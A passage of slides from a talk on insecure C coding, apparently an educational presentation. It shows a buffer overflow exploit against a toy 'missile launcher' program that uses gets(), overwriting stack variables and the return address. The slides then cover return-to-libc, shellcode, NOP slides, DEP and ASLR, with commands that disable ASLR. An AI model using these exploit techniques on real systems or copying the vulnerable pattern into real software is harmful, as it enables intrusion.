if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
launch.c
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n');}
exploit.c
![Page 138: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/138.jpg)
$ ./exploit | ./launchWarGames MissileLauncher v0.1Secret: Access grantedLaunching 42 missilesOperation complete$
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
launch.c
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n');}
exploit.c
![Page 139: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/139.jpg)
$ ./exploit | ./launchWarGames MissileLauncher v0.1Secret: Access grantedLaunching 42 missilesOperation complete$
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x00 0x00 0x00 0x000x00 0x00 0x00 0x000x2a 0x00 0x00 0x000x00 0x00 0x00 0x010x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
launch.c
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n');}
exploit.c
![Page 140: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/140.jpg)
$ ./exploit | ./launchWarGames MissileLauncher v0.1Secret: Access grantedLaunching 42 missilesOperation complete$
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x00 0x00 0x00 0x000x00 0x00 0x00 0x000x2a 0x00 0x00 0x000x00 0x00 0x00 0x010x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
launch.c
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n');}
exploit.c
![Page 141: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/141.jpg)
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n');}
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x00 0x00 0x00 0x000x00 0x00 0x00 0x000x2a 0x00 0x00 0x000x00 0x00 0x00 0x010x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 142: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/142.jpg)
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n');}
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x00 0x00 0x00 0x000x00 0x00 0x00 0x000x2a 0x00 0x00 0x000x00 0x00 0x00 0x010x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
But hey! Why stop with the stack variables, can we have fun with the return
address as well?
![Page 143: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/143.jpg)
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n');}
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x00 0x00 0x00 0x000x00 0x00 0x00 0x000x2a 0x00 0x00 0x000x00 0x00 0x00 0x010x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
But hey! Why stop with the stack variables, can we have fun with the return
address as well?
![Page 144: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/144.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
![Page 145: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/145.jpg)
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8;
while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n'); }}
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
![Page 146: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/146.jpg)
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8;
while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n'); }} $ ./exploit | ./launch
WarGames MissileLauncher v0.1Secret: Access grantedLaunching 4 missilesSecret: Access grantedLaunching 5 missilesSecret: Access grantedLaunching 6 missiles...
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
![Page 147: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/147.jpg)
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8;
while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n'); }} $ ./exploit | ./launch
WarGames MissileLauncher v0.1Secret: Access grantedLaunching 4 missilesSecret: Access grantedLaunching 5 missilesSecret: Access grantedLaunching 6 missiles...
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x00 0x00 0x00 0x000x00 0x00 0x00 0x000x03 0x00 0x00 0x000x00 0x00 0x00 0x010x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0xc8 0x84 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 148: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/148.jpg)
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8;
while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n'); }} $ ./exploit | ./launch
WarGames MissileLauncher v0.1Secret: Access grantedLaunching 4 missilesSecret: Access grantedLaunching 5 missilesSecret: Access grantedLaunching 6 missiles...
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x00 0x00 0x00 0x000x00 0x00 0x00 0x000x03 0x00 0x00 0x000x00 0x00 0x00 0x010x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0xc8 0x84 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 149: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/149.jpg)
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8;
while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n'); }} $ ./exploit | ./launch
WarGames MissileLauncher v0.1Secret: Access grantedLaunching 4 missilesSecret: Access grantedLaunching 5 missilesSecret: Access grantedLaunching 6 missiles...
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x00 0x00 0x00 0x000x00 0x00 0x00 0x000x03 0x00 0x00 0x000x00 0x00 0x00 0x010x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0xc8 0x84 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 150: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/150.jpg)
int main(void){ struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf);
sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8;
while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('\n'); }} $ ./exploit | ./launch
WarGames MissileLauncher v0.1Secret: Access grantedLaunching 4 missilesSecret: Access grantedLaunching 5 missilesSecret: Access grantedLaunching 6 missiles...
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x00 0x00 0x00 0x000x00 0x00 0x00 0x000x03 0x00 0x00 0x000x00 0x00 0x00 0x010x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0xc8 0x84 0x04 0x08
0xbffffa40
0xbffffa6c
Overwriting the return-address is an example of arc injection, where we change the execution flow of the program. This technique can also be used to jump into a function in the standard library, for example, first push the address of a string, say
"cat /etc/password" and then jump to the system(). Therefore this technique is sometimes referred to as return to libc.
![Page 151: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/151.jpg)
We are of course not limited to only push data on the stack, let's try to put some executable code on the stack.
00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret
![Page 152: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/152.jpg)
We are of course not limited to only push data on the stack, let's try to put some executable code on the stack.
Let a compiler generate the values to write on the stack.
00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret
![Page 153: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/153.jpg)
void hello(void){ char str[] = "David rocks!"; puts(str);}
We are of course not limited to only push data on the stack, let's try to put some executable code on the stack.
Let a compiler generate the values to write on the stack.
00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret
![Page 154: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/154.jpg)
void hello(void){ char str[] = "David rocks!"; puts(str);}
We are of course not limited to only push data on the stack, let's try to put some executable code on the stack.
Let a compiler generate the values to write on the stack.
00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret
This is our shell code, and we can now do code injection by letting our exploit poke this into memory and use for example arc injection to jump to the first instruction. If you
craft the exploit carefully, you might manage to restore the stack and return correctly back to the original return adress as if nothing has happened.
![Page 155: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/155.jpg)
void hello(void){ char str[] = "David rocks!"; puts(str);}
We are of course not limited to only push data on the stack, let's try to put some executable code on the stack.
Let a compiler generate the values to write on the stack.
00000000 <hello>: 0: 55 push ebp 1: 89 e5 mov ebp,esp 3: 83 ec 28 sub esp,0x28 6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 1f: 8d 45 eb lea eax,[ebp-0x15] 22: 89 04 24 mov DWORD PTR [esp],eax 25: e8 fc ff ff ff call 26 <hello+0x26> 2a: c9 leave 2b: c3 ret
This is our shell code, and we can now do code injection by letting our exploit poke this into memory and use for example arc injection to jump to the first instruction. If you
craft the exploit carefully, you might manage to restore the stack and return correctly back to the original return adress as if nothing has happened.
Expert tip: it might be difficult to calculate exactly the address of your code, so often you will start your shell code with a long string of NOP's or similar to make it easier to start
executing your code. This is often called a NOP slide.
![Page 156: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/156.jpg)
![Page 157: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/157.jpg)
Cool! Can you demonstrate how to do code injection?
![Page 158: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/158.jpg)
Cool! Can you demonstrate how to do code injection?
It used to be easy to do this, back in the old days. Recent versions of all major operating systems have implemented some kind of protection mechanisms to
prevent data to be executed as code. Data Execution Protection (DEP). This is sometimes implemented as a W^X strategy (Writable xor
eXecutable), where blocks of memory are marked as either writable or executable but never simultaneously. For a long time there has also been hardware support for this (often called the NX bit), and some operating systems refuses to be installed on machines that does not have hardware
protection against running data as code.
![Page 159: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/159.jpg)
Cool! Can you demonstrate how to do code injection?
It used to be easy to do this, back in the old days. Recent versions of all major operating systems have implemented some kind of protection mechanisms to
prevent data to be executed as code. Data Execution Protection (DEP). This is sometimes implemented as a W^X strategy (Writable xor
eXecutable), where blocks of memory are marked as either writable or executable but never simultaneously. For a long time there has also been hardware support for this (often called the NX bit), and some operating systems refuses to be installed on machines that does not have hardware
protection against running data as code.
But what about the other stuff you have demonstrated. Is there no protection against that?
![Page 160: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/160.jpg)
Cool! Can you demonstrate how to do code injection?
It used to be easy to do this, back in the old days. Recent versions of all major operating systems have implemented some kind of protection mechanisms to
prevent data to be executed as code. Data Execution Protection (DEP). This is sometimes implemented as a W^X strategy (Writable xor
eXecutable), where blocks of memory are marked as either writable or executable but never simultaneously. For a long time there has also been hardware support for this (often called the NX bit), and some operating systems refuses to be installed on machines that does not have hardware
protection against running data as code.
But what about the other stuff you have demonstrated. Is there no protection against that?
Yes, there are plenty, but most of them are easy to turn off. (Remember this is a talk about how to write insecure code... so we don't deny ourself
the opportunity to make things easy for ourself)
![Page 161: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/161.jpg)
![Page 162: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/162.jpg)
One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization). When
ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie)
![Page 163: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/163.jpg)
One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization). When
ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie)
void foo(void){ puts("David rocks!");}
int main(void){ char * str = "David rocks!"; printf("%p\n", foo); printf("%p\n", str); printf("%p\n", system);}
![Page 164: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/164.jpg)
One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization). When
ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie)
void foo(void){ puts("David rocks!");}
int main(void){ char * str = "David rocks!"; printf("%p\n", foo); printf("%p\n", str); printf("%p\n", system);}
$ ./a.out0x804844d0x80485400x8048320$ ./a.out0x804844d0x80485400x8048320$ ./a.out0x804844d0x80485400x8048320$
ASLR disabled
![Page 165: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/165.jpg)
One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization). When
ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie)
void foo(void){ puts("David rocks!");}
int main(void){ char * str = "David rocks!"; printf("%p\n", foo); printf("%p\n", str); printf("%p\n", system);}
$ ./a.out0x804844d0x80485400x8048320$ ./a.out0x804844d0x80485400x8048320$ ./a.out0x804844d0x80485400x8048320$
ASLR disabled
$ ./a.out0xb77cf64b0xb77cf7700xb764af50$ ./a.out0xb777264b0xb77727700xb75edf50$ ./a.out0xb772b64b0xb772b7700xb75a6f50$
ASLR enabled
![Page 166: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/166.jpg)
One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization). When
ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie)
void foo(void){ puts("David rocks!");}
int main(void){ char * str = "David rocks!"; printf("%p\n", foo); printf("%p\n", str); printf("%p\n", system);}
$ ./a.out0x804844d0x80485400x8048320$ ./a.out0x804844d0x80485400x8048320$ ./a.out0x804844d0x80485400x8048320$
ASLR disabled
$ ./a.out0xb77cf64b0xb77cf7700xb764af50$ ./a.out0xb777264b0xb77727700xb75edf50$ ./a.out0xb772b64b0xb772b7700xb75a6f50$
ASLR enabled
On my machine there are many ways to disable/enable ASLR.
![Page 167: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/167.jpg)
One mechanism that makes it difficult to do arc injection or return to lib-c is ASLR (address space layout randomization). When
ASLR is enabled key data areas gets a "hard to guess" positions when the program is being loaded and executed. For ASLR to work properly your code must also compile as position independent code (-fpic , -fpie)
void foo(void){ puts("David rocks!");}
int main(void){ char * str = "David rocks!"; printf("%p\n", foo); printf("%p\n", str); printf("%p\n", system);}
$ ./a.out0x804844d0x80485400x8048320$ ./a.out0x804844d0x80485400x8048320$ ./a.out0x804844d0x80485400x8048320$
ASLR disabled
$ ./a.out0xb77cf64b0xb77cf7700xb764af50$ ./a.out0xb777264b0xb77727700xb75edf50$ ./a.out0xb772b64b0xb772b7700xb75a6f50$
ASLR enabled
• Disable / enbable ASLR with "echo value > /proc/sys/kernel/randomize_va_space"• Change set "kernel.randomize_va_space = value" in /etc/sysctl.conf• Boot linux with the norandmaps parameter
On my machine there are many ways to disable/enable ASLR.
![Page 168: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/168.jpg)
![Page 169: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/169.jpg)
Many compliers can create extra code to check for buffer overflow. Here is an example.
